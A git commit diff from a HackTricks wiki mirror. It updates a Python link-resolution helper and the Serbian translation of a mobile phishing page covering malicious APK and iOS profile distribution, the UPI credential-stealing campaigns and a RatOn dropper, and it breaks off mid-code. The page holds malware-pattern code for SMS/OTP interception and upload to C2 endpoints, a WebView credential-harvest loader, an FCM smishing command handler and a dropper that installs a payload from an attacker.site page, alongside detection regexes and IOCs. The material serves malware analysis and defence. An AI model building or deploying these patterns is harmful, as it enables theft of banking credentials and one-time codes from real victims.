mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/accessibility-
This commit is contained in:
parent
56ff71d995
commit
2245855670
@ -17,7 +17,7 @@ handler2.setLevel(logging.ERROR)
|
|||||||
logger.addHandler(handler2)
|
logger.addHandler(handler2)
|
||||||
|
|
||||||
|
|
||||||
def findtitle(search ,obj, key, path=(),):
|
def findtitle(search, obj, key, path=()):
|
||||||
# logger.debug(f"Looking for {search} in {path}")
|
# logger.debug(f"Looking for {search} in {path}")
|
||||||
if isinstance(obj, dict) and key in obj and obj[key] == search:
|
if isinstance(obj, dict) and key in obj and obj[key] == search:
|
||||||
return obj, path
|
return obj, path
|
||||||
@ -54,26 +54,42 @@ def ref(matchobj):
|
|||||||
if href.endswith("/"):
|
if href.endswith("/"):
|
||||||
href = href+"README.md" # Fix if ref points to a folder
|
href = href+"README.md" # Fix if ref points to a folder
|
||||||
if "#" in href:
|
if "#" in href:
|
||||||
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
|
result = findtitle(href.split("#")[0], book, "source_path")
|
||||||
title = " ".join(href.split("#")[1].split("-")).title()
|
if result is not None:
|
||||||
logger.debug(f'Ref has # using title: {title}')
|
chapter, _path = result
|
||||||
|
title = " ".join(href.split("#")[1].split("-")).title()
|
||||||
|
logger.debug(f'Ref has # using title: {title}')
|
||||||
|
else:
|
||||||
|
raise Exception(f"Chapter not found for path: {href.split('#')[0]}")
|
||||||
else:
|
else:
|
||||||
chapter, _path = findtitle(href, book, "source_path")
|
result = findtitle(href, book, "source_path")
|
||||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
if result is not None:
|
||||||
title = chapter['name']
|
chapter, _path = result
|
||||||
|
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||||
|
title = chapter['name']
|
||||||
|
else:
|
||||||
|
raise Exception(f"Chapter not found for path: {href}")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
dir = path.dirname(current_chapter['source_path'])
|
dir = path.dirname(current_chapter['source_path'])
|
||||||
rel_path = path.normpath(path.join(dir,href))
|
rel_path = path.normpath(path.join(dir,href))
|
||||||
try:
|
try:
|
||||||
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
|
logger.debug(f'Not found chapter title from: {href} -- trying with relative path {rel_path}')
|
||||||
if "#" in href:
|
if "#" in href:
|
||||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||||
title = " ".join(href.split("#")[1].split("-")).title()
|
if result is not None:
|
||||||
logger.debug(f'Ref has # using title: {title}')
|
chapter, _path = result
|
||||||
|
title = " ".join(href.split("#")[1].split("-")).title()
|
||||||
|
logger.debug(f'Ref has # using title: {title}')
|
||||||
|
else:
|
||||||
|
raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href.split('#')[0]))}")
|
||||||
else:
|
else:
|
||||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
result = findtitle(path.normpath(path.join(dir,href)), book, "source_path")
|
||||||
title = chapter["name"]
|
if result is not None:
|
||||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
chapter, _path = result
|
||||||
|
title = chapter["name"]
|
||||||
|
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||||
|
else:
|
||||||
|
raise Exception(f"Chapter not found for relative path: {path.normpath(path.join(dir,href))}")
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logger.debug(e)
|
logger.debug(e)
|
||||||
logger.error(f'Error getting chapter title: {rel_path}')
|
logger.error(f'Error getting chapter title: {rel_path}')
|
||||||
|
@ -768,7 +768,7 @@
|
|||||||
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
|
||||||
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
|
||||||
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
|
||||||
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
- [ROP & JOP](binary-exploitation/rop-return-oriented-programing/README.md)
|
||||||
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
|
||||||
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
|
||||||
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
|
||||||
@ -837,8 +837,9 @@
|
|||||||
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
- [WWW2Exec - GOT/PLT](binary-exploitation/arbitrary-write-2-exec/aw2exec-got-plt.md)
|
||||||
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
|
||||||
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
|
||||||
|
- [Linux kernel exploitation - toctou](binary-exploitation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)
|
||||||
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||||
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
|
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
|
||||||
|
|
||||||
# 🤖 AI
|
# 🤖 AI
|
||||||
- [AI Security](AI/README.md)
|
- [AI Security](AI/README.md)
|
||||||
|
@ -1,67 +1,67 @@
|
|||||||
# Mobilni Phishing i Distribucija Malicioznih Aplikacija (Android i iOS)
|
# Mobile Phishing & Malicious App Distribution (Android & iOS)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
> [!INFO]
|
> [!INFO]
|
||||||
> Ova stranica pokriva tehnike koje koriste pretnje da distribuiraju **maliciozne Android APK-ove** i **iOS mobilne konfiguracione profile** putem phishing-a (SEO, socijalno inženjerstvo, lažne prodavnice, aplikacije za upoznavanje, itd.).
|
> Ova stranica pokriva tehnike koje koriste threat actors za distribuciju **malicious Android APKs** i **iOS mobile-configuration profiles** putem phishinga (SEO, social engineering, lažne prodavnice, dating apps, itd.).
|
||||||
> Materijal je prilagođen iz SarangTrap kampanje koju je otkrio Zimperium zLabs (2025) i drugih javnih istraživanja.
|
> Materijal je adaptiran iz SarangTrap kampanje otkrivene od strane Zimperium zLabs (2025) i drugih javno dostupnih istraživanja.
|
||||||
|
|
||||||
## Tok Napada
|
## Tok napada
|
||||||
|
|
||||||
1. **SEO/Phishing Infrastruktura**
|
1. **SEO/Phishing Infrastructure**
|
||||||
* Registrujte desetine domena koji liče na prave (upoznavanje, deljenje u oblaku, servis automobila…).
|
* Registrujte desetine sličnih domena (dating, cloud share, car service…).
|
||||||
– Koristite ključne reči na lokalnom jeziku i emotikone u `<title>` elementu da biste se rangirali na Google-u.
|
– Koristite lokalne ključne reči i emotikone u `<title>` elementu da biste se bolje rangirali na Google.
|
||||||
– Hostujte *obe* Android (`.apk`) i iOS uputstva za instalaciju na istoj odredišnoj stranici.
|
– Smeštajte *i* Android (`.apk`) i iOS uputstva za instalaciju na istoj landing stranici.
|
||||||
2. **Prvo Preuzimanje**
|
2. **First Stage Download**
|
||||||
* Android: direktna veza do *nepotpisanog* ili “treće strane” APK-a.
|
* Android: direktan link do *unsigned* ili “third-party store” APK-a.
|
||||||
* iOS: `itms-services://` ili obična HTTPS veza do malicioznog **mobileconfig** profila (vidi ispod).
|
* iOS: `itms-services://` ili običan HTTPS link ka zlonamernom **mobileconfig** profilu (vidi dole).
|
||||||
3. **Post-instalaciono Socijalno Inženjerstvo**
|
3. **Post-install Social Engineering**
|
||||||
* Prilikom prvog pokretanja aplikacija traži **pozivnicu / verifikacioni kod** (iluzija ekskluzivnog pristupa).
|
* Pri prvom pokretanju app traži **invitation / verification code** (iluzija ekskluzivnog pristupa).
|
||||||
* Kod se **POST-uje preko HTTP-a** do Komande i Kontrole (C2).
|
* Kod se **POSTuje preko HTTP** ka Command-and-Control (C2).
|
||||||
* C2 odgovara `{"success":true}` ➜ malware nastavlja.
|
* C2 vraća `{"success":true}` ➜ malware nastavlja sa radom.
|
||||||
* Sandbox / AV dinamička analiza koja nikada ne šalje validan kod ne vidi **maliciozno ponašanje** (izbegavanje).
|
* Sandbox / AV dinamička analiza koja nikada ne pošalje validan kod ne vidi **maliciozno ponašanje** (evasion).
|
||||||
4. **Zloupotreba Dozvola u Runtime-u** (Android)
|
4. **Runtime Permission Abuse** (Android)
|
||||||
* Opasne dozvole se traže **samo nakon pozitivnog C2 odgovora**:
|
* Opasna dopuštenja se traže tek **nakon pozitivnog C2 odgovora**:
|
||||||
```xml
|
```xml
|
||||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||||
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||||
<!-- Starije verzije su takođe tražile SMS dozvole -->
|
<!-- Older builds also asked for SMS permissions -->
|
||||||
```
|
```
|
||||||
* Nedavne varijante **uklanjaju `<uses-permission>` za SMS iz `AndroidManifest.xml`** ali ostavljaju Java/Kotlin kod koji čita SMS putem refleksije ⇒ smanjuje statički rezultat dok je i dalje funkcionalan na uređajima koji daju dozvolu putem zloupotrebe `AppOps` ili starih ciljeva.
|
* Novije varijante **uklanjaju `<uses-permission>` za SMS iz `AndroidManifest.xml`** ali ostavljaju Java/Kotlin kod putanju koja čita SMS putem reflection ⇒ snižava statički score dok je i dalje funkcionalno na uređajima koji daju dozvolu preko `AppOps` zloupotrebe ili na starijim ciljevima.
|
||||||
5. **Facade UI i Prikupljanje u Pozadini**
|
5. **Facade UI & Background Collection**
|
||||||
* Aplikacija prikazuje bezopasne prikaze (pregledač SMS-a, izbor galerije) implementirane lokalno.
|
* Aplikacija prikazuje bezopasne view-e (SMS viewer, gallery picker) implementirane lokalno.
|
||||||
* U međuvremenu, exfiltrira:
|
* U međuvremenu eksfiltrira:
|
||||||
- IMEI / IMSI, broj telefona
|
- IMEI / IMSI, broj telefona
|
||||||
- Potpun `ContactsContract` dump (JSON niz)
|
- Potpuni dump `ContactsContract` (JSON array)
|
||||||
- JPEG/PNG iz `/sdcard/DCIM` kompresovan sa [Luban](https://github.com/Curzibn/Luban) da smanji veličinu
|
- JPEG/PNG iz `/sdcard/DCIM` kompresovane sa [Luban](https://github.com/Curzibn/Luban) da bi se smanjila veličina
|
||||||
- Opcionalni sadržaj SMS-a (`content://sms`)
|
- Opcionalno SMS sadržaj (`content://sms`)
|
||||||
Payload-ovi su **batch-zipped** i poslati putem `HTTP POST /upload.php`.
|
Payloads su **batch-zipped** i šalju se preko `HTTP POST /upload.php`.
|
||||||
6. **iOS Tehnika Dostave**
|
6. **iOS Delivery Technique**
|
||||||
* Jedan **mobilni konfiguracioni profil** može zahtevati `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` itd. da bi registrovao uređaj u “MDM”-sličnu superviziju.
|
* Jedan **mobile-configuration profile** može zahtevati `PayloadType=com.apple.sharedlicenses`, `com.apple.managedConfiguration` itd. da bi enroll-ovao uređaj u “MDM”-sličan nadzor.
|
||||||
* Uputstva za socijalno inženjerstvo:
|
* Social-engineering uputstva:
|
||||||
1. Otvorite Podešavanja ➜ *Profil preuzet*.
|
1. Otvorite Settings ➜ *Profile downloaded*.
|
||||||
2. Dodirnite *Instaliraj* tri puta (screenshot-ovi na phishing stranici).
|
2. Tapnite *Install* tri puta (screenshot-ovi na phishing stranici).
|
||||||
3. Verujte nepotpisanom profilu ➜ napadač dobija *Kontakte* i *Foto* pravo bez pregleda u App Store-u.
|
3. Trust unsigned profile ➜ napadač dobija *Contacts* & *Photo* entitlements bez App Store revizije.
|
||||||
7. **Mrežni Sloj**
|
7. **Network Layer**
|
||||||
* Običan HTTP, često na portu 80 sa HOST header-om poput `api.<phishingdomain>.com`.
|
* Plain HTTP, često na portu 80 sa HOST headerom poput `api.<phishingdomain>.com`.
|
||||||
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (bez TLS → lako uočljivo).
|
* `User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 6 Build/TQ3A.230805.001)` (nema TLS → lako uočljivo).
|
||||||
|
|
||||||
## Odbrambeno Testiranje / Saveti za Crveni Tim
|
## Defensive Testing / Red-Team Tips
|
||||||
|
|
||||||
* **Obilaženje Dinamičke Analize** – Tokom procene malware-a, automatizujte fazu pozivnog koda sa Frida/Objection da biste došli do malicioznog ogranka.
|
* **Dynamic Analysis Bypass** – Tokom procene malvera, automatizujte fazu sa invitation kodom pomoću Frida/Objection da biste došli do maliciozne grane.
|
||||||
* **Manifest vs. Runtime Diff** – Uporedite `aapt dump permissions` sa runtime `PackageManager#getRequestedPermissions()`; nedostatak opasnih dozvola je crvena zastava.
|
* **Manifest vs. Runtime Diff** – Uporedite `aapt dump permissions` sa runtime `PackageManager#getRequestedPermissions()`; nedostajuća opasna dopuštenja su crvena zastavica.
|
||||||
* **Mrežni Kanarinac** – Konfigurišite `iptables -p tcp --dport 80 -j NFQUEUE` da detektujete nesolidne POST eksplozije nakon unosa koda.
|
* **Network Canary** – Konfigurišite `iptables -p tcp --dport 80 -j NFQUEUE` da detektujete neobične POST burst-ove nakon unosa koda.
|
||||||
* **Inspekcija mobileconfig** – Koristite `security cms -D -i profile.mobileconfig` na macOS-u da biste naveli `PayloadContent` i uočili prekomerne privilegije.
|
* **mobileconfig Inspection** – Koristite `security cms -D -i profile.mobileconfig` na macOS-u da izlistate `PayloadContent` i uočite preterana entitlements.
|
||||||
|
|
||||||
## Ideje za Detekciju Plavog Tima
|
## Blue-Team Detection Ideas
|
||||||
|
|
||||||
* **Transparentnost Sertifikata / DNS Analitika** da uhvatite iznenadne eksplozije domena bogatih ključnim rečima.
|
* **Certificate Transparency / DNS Analytics** za detekciju naglih pojavljivanja domena bogatih ključnim rečima.
|
||||||
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` iz Dalvik klijenata van Google Play-a.
|
* **User-Agent & Path Regex**: `(?i)POST\s+/(check|upload)\.php` od Dalvik klijenata izvan Google Play.
|
||||||
* **Telemetrija Pozivnog Koda** – POST od 6–8 cifrenih kodova odmah nakon instalacije APK-a može ukazivati na pripremu.
|
* **Invite-code Telemetry** – POST 6–8 cifrenih numeričkih kodova ubrzo nakon instalacije APK-a može ukazivati na staging.
|
||||||
* **Potpisivanje MobileConfig** – Blokirajte nepotpisane konfiguracione profile putem MDM politike.
|
* **MobileConfig Signing** – Blokirajte unsigned configuration profiles putem MDM politike.
|
||||||
|
|
||||||
## Koristan Frida Snippet: Auto-Obilaženje Pozivnog Koda
|
## Useful Frida Snippet: Auto-Bypass Invitation Code
|
||||||
```python
|
```python
|
||||||
# frida -U -f com.badapp.android -l bypass.js --no-pause
|
# frida -U -f com.badapp.android -l bypass.js --no-pause
|
||||||
# Hook HttpURLConnection write to always return success
|
# Hook HttpURLConnection write to always return success
|
||||||
@ -80,7 +80,7 @@ return conn;
|
|||||||
};
|
};
|
||||||
});
|
});
|
||||||
```
|
```
|
||||||
## Indikatori (Opšti)
|
## Indikatori (generički)
|
||||||
```
|
```
|
||||||
/req/checkCode.php # invite code validation
|
/req/checkCode.php # invite code validation
|
||||||
/upload.php # batched ZIP exfiltration
|
/upload.php # batched ZIP exfiltration
|
||||||
@ -90,28 +90,28 @@ LubanCompress 1.1.8 # "Luban" string inside classes.dex
|
|||||||
|
|
||||||
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
|
## Android WebView Payment Phishing (UPI) – Dropper + FCM C2 Pattern
|
||||||
|
|
||||||
Ovaj obrazac je primećen u kampanjama koje zloupotrebljavaju teme državnih beneficija kako bi ukrale indijske UPI akreditive i OTP-ove. Operateri povezuju ugledne platforme za isporuku i otpornost.
|
This pattern has been observed in campaigns abusing government-benefit themes to steal Indian UPI credentials and OTPs. Operators chain reputable platforms for delivery and resilience.
|
||||||
|
|
||||||
### Isporuka kroz pouzdane platforme
|
### Delivery chain across trusted platforms
|
||||||
- YouTube video mamac → opis sadrži kratku vezu
|
- YouTube video kao mamac → opis sadrži skraćeni link
|
||||||
- Kratka veza → GitHub Pages phishing sajt koji imitira legitiman portal
|
- Skraćeni link → GitHub Pages phishing sajt koji imitira legitimni portal
|
||||||
- Isti GitHub repozitorij sadrži APK sa lažnim “Google Play” oznakom koja direktno povezuje na datoteku
|
- Isti GitHub repo hostuje APK sa lažnim “Google Play” znakom koji linkuje direktno na fajl
|
||||||
- Dinamičke phishing stranice su aktivne na Replit-u; daljinski komandni kanal koristi Firebase Cloud Messaging (FCM)
|
- Dinamične phishing stranice žive na Replit; kanal za daljinske komande koristi Firebase Cloud Messaging (FCM)
|
||||||
|
|
||||||
### Dropper sa ugrađenim payload-om i offline instalacijom
|
### Dropper sa ugrađenim payload-om i offline instalacijom
|
||||||
- Prvi APK je instalater (dropper) koji isporučuje pravi malware na `assets/app.apk` i traži od korisnika da onemogući Wi‑Fi/mobilne podatke kako bi umanjio detekciju u oblaku.
|
- Prvi APK je installer (dropper) koji isporučuje pravi malware na `assets/app.apk` i podstiče korisnika da isključi Wi‑Fi/mobilne podatke kako bi oslabio detekciju u oblaku.
|
||||||
- Ugrađeni payload se instalira pod bezopasnom oznakom (npr., “Sigurna Ažuriranja”). Nakon instalacije, i instalater i payload su prisutni kao odvojene aplikacije.
|
- Ugrađeni payload se instalira pod neupadljivim imenom (npr. “Secure Update”). Nakon instalacije, i installer i payload su prisutni kao odvojene aplikacije.
|
||||||
|
|
||||||
Static triage tip (grep za ugrađene payload-ove):
|
Static triage tip (grep for embedded payloads):
|
||||||
```bash
|
```bash
|
||||||
unzip -l sample.apk | grep -i "assets/app.apk"
|
unzip -l sample.apk | grep -i "assets/app.apk"
|
||||||
# Or:
|
# Or:
|
||||||
zipgrep -i "classes|.apk" sample.apk | head
|
zipgrep -i "classes|.apk" sample.apk | head
|
||||||
```
|
```
|
||||||
### Dinamičko otkrivanje krajnjih tačaka putem skraćenih linkova
|
### Dinamičko otkrivanje endpointa putem shortlink
|
||||||
- Malware preuzima listu aktivnih krajnjih tačaka u običnom tekstu, odvojenu zarezima, sa skraćenog linka; jednostavne transformacije stringa proizvode konačni put do phishing stranice.
|
- Malware preuzima plain-text, comma-separated list live endpoints sa shortlinka; jednostavne string transforms proizvode konačni phishing page path.
|
||||||
|
|
||||||
Primer (sanitizovan):
|
Primer (sanitizovano):
|
||||||
```
|
```
|
||||||
GET https://rebrand.ly/dclinkto2
|
GET https://rebrand.ly/dclinkto2
|
||||||
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
|
Response: https://sqcepo.replit.app/gate.html,https://sqcepo.replit.app/addsm.php
|
||||||
@ -119,7 +119,7 @@ Transform: "gate.html" → "gate.htm" (loaded in WebView)
|
|||||||
UPI credential POST: https://sqcepo.replit.app/addup.php
|
UPI credential POST: https://sqcepo.replit.app/addup.php
|
||||||
SMS upload: https://sqcepo.replit.app/addsm.php
|
SMS upload: https://sqcepo.replit.app/addsm.php
|
||||||
```
|
```
|
||||||
Pseudo-kod:
|
Pseudokod:
|
||||||
```java
|
```java
|
||||||
String csv = httpGet(shortlink);
|
String csv = httpGet(shortlink);
|
||||||
String[] parts = csv.split(",");
|
String[] parts = csv.split(",");
|
||||||
@ -128,7 +128,7 @@ String smsPost = parts[1];
|
|||||||
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
String credsPost = upiPage.replace("gate.htm", "addup.php");
|
||||||
```
|
```
|
||||||
### WebView-based UPI credential harvesting
|
### WebView-based UPI credential harvesting
|
||||||
- Korak “Napravite uplatu od ₹1 / UPI‑Lite” učitava HTML formu napadača sa dinamičkog krajnjeg tačke unutar WebView i hvata osetljive podatke (telefon, banka, UPI PIN) koji se `POST`uju na `addup.php`.
|
- Korak “Make payment of ₹1 / UPI‑Lite” učitava napadački HTML obrazac sa dinamičkog endpointa unutar WebView i hvata osetljiva polja (telefon, banka, UPI PIN) koja se `POST`uju na `addup.php`.
|
||||||
|
|
||||||
Minimal loader:
|
Minimal loader:
|
||||||
```java
|
```java
|
||||||
@ -136,18 +136,18 @@ WebView wv = findViewById(R.id.web);
|
|||||||
wv.getSettings().setJavaScriptEnabled(true);
|
wv.getSettings().setJavaScriptEnabled(true);
|
||||||
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
wv.loadUrl(upiPage); // ex: https://<replit-app>/gate.htm
|
||||||
```
|
```
|
||||||
### Samopropagacija i presretanje SMS/OTP-a
|
### Samo-širenje i presretanje SMS/OTP
|
||||||
- Agresivne dozvole se traže prilikom prvog pokretanja:
|
- Na prvom pokretanju traže se agresivne dozvole:
|
||||||
```xml
|
```xml
|
||||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||||
<uses-permission android:name="android.permission.SEND_SMS"/>
|
<uses-permission android:name="android.permission.SEND_SMS"/>
|
||||||
<uses-permission android:name="android.permission.READ_SMS"/>
|
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||||
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
||||||
```
|
```
|
||||||
- Kontakti se koriste za masovno slanje smishing SMS poruka sa žrtvinog uređaja.
|
- Kontakti se u petlji koriste za masovno slanje smishing SMS-ova sa uređaja žrtve.
|
||||||
- Dolazni SMS poruke se presreću od strane broadcast receiver-a i učitavaju sa metapodacima (pošiljalac, telo, SIM slot, nasumični ID po uređaju) na `/addsm.php`.
|
- Dolazni SMS-ovi se presreću pomoću broadcast receiver-a i otpremaju sa metapodacima (pošiljalac, sadržaj, SIM slot, nasumični ID po uređaju) na `/addsm.php`.
|
||||||
|
|
||||||
Receiver sketch:
|
Skica receiver-a:
|
||||||
```java
|
```java
|
||||||
public void onReceive(Context c, Intent i){
|
public void onReceive(Context c, Intent i){
|
||||||
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
|
SmsMessage[] msgs = Telephony.Sms.Intents.getMessagesFromIntent(i);
|
||||||
@ -161,10 +161,10 @@ postForm(urlAddSms, new FormBody.Builder()
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### Firebase Cloud Messaging (FCM) kao otpornog C2
|
### Firebase Cloud Messaging (FCM) kao robustan C2
|
||||||
- Payload se registruje na FCM; push poruke sadrže `_type` polje koje se koristi kao prekidač za pokretanje akcija (npr., ažuriranje phishing tekstualnih šablona, prebacivanje ponašanja).
|
- Payload se registruje na FCM; push poruke nose polje `_type` koje se koristi kao prekidač za pokretanje akcija (npr. ažuriranje phishing text templates, prebacivanje ponašanja).
|
||||||
|
|
||||||
Primer FCM payload-a:
|
Primer FCM payload:
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"to": "<device_fcm_token>",
|
"to": "<device_fcm_token>",
|
||||||
@ -174,7 +174,7 @@ Primer FCM payload-a:
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Skica handler-a:
|
Skica handlera:
|
||||||
```java
|
```java
|
||||||
@Override
|
@Override
|
||||||
public void onMessageReceived(RemoteMessage msg){
|
public void onMessageReceived(RemoteMessage msg){
|
||||||
@ -186,27 +186,177 @@ case "smish": sendSmishToContacts(); break;
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
### Obrasci lova i IOCs
|
### Obrasci za otkrivanje i IOCs
|
||||||
- APK sadrži sekundarni payload na `assets/app.apk`
|
- APK contains secondary payload at `assets/app.apk`
|
||||||
- WebView učitava uplatu sa `gate.htm` i exfiltrira na `/addup.php`
|
- WebView učitava plaćanje sa `gate.htm` i eksfiltrira na `/addup.php`
|
||||||
- Exfiltracija SMS-a na `/addsm.php`
|
- SMS eksfiltracija na `/addsm.php`
|
||||||
- Konfiguracija vođena skraćenim linkovima (npr., `rebrand.ly/*`) koja vraća CSV krajnje tačke
|
- Preuzimanje konfiguracije preko shortlinka (npr. `rebrand.ly/*`) koje vraća CSV endpoints
|
||||||
- Aplikacije označene kao generičke “Ažuriranje/Sigurno ažuriranje”
|
- Aplikacije označene generički kao “Update/Secure Update”
|
||||||
- FCM `data` poruke sa `_type` diskriminatorom u nepouzdanim aplikacijama
|
- FCM `data` messages with a `_type` diskriminator u nepouzdanim aplikacijama
|
||||||
|
|
||||||
### Ideje za detekciju i odbranu
|
### Ideje za detekciju i odbranu
|
||||||
- Obeležiti aplikacije koje upućuju korisnike da onemoguće mrežu tokom instalacije, a zatim učitavaju drugi APK iz `assets/`.
|
- Obeležiti aplikacije koje traže od korisnika da onemoguće mrežu tokom instalacije i potom side-loaduju drugi APK iz `assets/`.
|
||||||
- Upozoriti na dozvolu tuple: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-bazirani tokovi plaćanja.
|
- Upozoravati na kombinaciju dozvola: `READ_CONTACTS` + `READ_SMS` + `SEND_SMS` + WebView-based payment flows.
|
||||||
- Monitoring izlaza za `POST /addup.php|/addsm.php` na ne-korporativnim hostovima; blokirati poznatu infrastrukturu.
|
- Praćenje egress saobraćaja za `POST /addup.php|/addsm.php` na ne-korporativnim hostovima; blokirati poznatu infrastrukturu.
|
||||||
- Pravila mobilnog EDR-a: nepouzdana aplikacija koja se registruje za FCM i grana se na `_type` polju.
|
- Mobile EDR pravila: nepouzdana aplikacija koja se registruje za FCM i grana se na `_type` polju.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Reference
|
## Android Accessibility/Overlay i zloupotreba Device Admin, ATS automatizacija i orkestracija NFC relay-a – studija slučaja RatOn
|
||||||
|
|
||||||
|
Kampanja RatOn banker/RAT (ThreatFabric) je konkretan primer kako moderne mobilne phishing operacije kombinuju WebView droppere, Accessibility-vođenu UI automatizaciju, overlay-e/ransom, prinudu putem Device Admin, Automated Transfer System (ATS), preuzimanje crypto wallet-a, pa čak i orkestraciju NFC-relaya. Ovaj odeljak apstrahuje ponovljivo upotrebljive tehnike.
|
||||||
|
|
||||||
|
### Faza-1: WebView → native install bridge (dropper)
|
||||||
|
Napadači prikažu WebView usmeren na napadačevu stranicu i injektuju JavaScript interfejs koji izlaže native installer. Tap na HTML dugme poziva native kod koji instalira drugostepeni APK uključen u assets droppera i zatim ga direktno pokreće.
|
||||||
|
|
||||||
|
Minimalni obrazac:
|
||||||
|
```java
|
||||||
|
public class DropperActivity extends Activity {
|
||||||
|
@Override protected void onCreate(Bundle b){
|
||||||
|
super.onCreate(b);
|
||||||
|
WebView wv = new WebView(this);
|
||||||
|
wv.getSettings().setJavaScriptEnabled(true);
|
||||||
|
wv.addJavascriptInterface(new Object(){
|
||||||
|
@android.webkit.JavascriptInterface
|
||||||
|
public void installApk(){
|
||||||
|
try {
|
||||||
|
PackageInstaller pi = getPackageManager().getPackageInstaller();
|
||||||
|
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
|
||||||
|
int id = pi.createSession(p);
|
||||||
|
try (PackageInstaller.Session s = pi.openSession(id);
|
||||||
|
InputStream in = getAssets().open("payload.apk");
|
||||||
|
OutputStream out = s.openWrite("base.apk", 0, -1)){
|
||||||
|
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
|
||||||
|
}
|
||||||
|
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
|
||||||
|
pi.commit(id, status.getIntentSender());
|
||||||
|
} catch (Exception e) { /* log */ }
|
||||||
|
}
|
||||||
|
}, "bridge");
|
||||||
|
setContentView(wv);
|
||||||
|
wv.loadUrl("https://attacker.site/install.html");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
HTML na stranici:
|
||||||
|
```html
|
||||||
|
<button onclick="bridge.installApk()">Install</button>
|
||||||
|
```
|
||||||
|
Након инсталације, dropper покреће payload путем explicit package/activity:
|
||||||
|
```java
|
||||||
|
Intent i = new Intent();
|
